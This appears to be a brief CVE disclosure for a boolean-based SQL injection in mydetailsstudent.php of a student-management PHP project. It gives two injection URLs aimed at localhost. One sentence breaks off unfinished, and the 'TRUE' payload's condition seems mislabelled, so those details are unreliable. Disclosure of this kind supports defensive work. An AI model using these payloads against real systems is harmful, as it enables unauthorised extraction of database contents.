CVE ID: CVE-2025-52410 Vulnerability Type: SQL Injection Affected File: mydetailsstudent.php Affected Version: v1.0 (latest commit on main) Impact: - Unauthorized read access to database content - Full extraction of data from the icsnew database - Boolean-based SQL Injection execution - Remote exploitation without authentication Exploit Details: - Payload (TRUE): http://localhost/Institute-of-Current-Students/mydetailsstudent.php?myds=-1%27+OR+321=6+AND+000738=000738-- - Payload (FALSE): http://localhost/Institute-of-Current-Students/mydetailsstudent.php?myds=-1%27+OR+23=4+AND+000738=000738-- - Confirmed that executing returned Discoverer: Lucas Murtfeld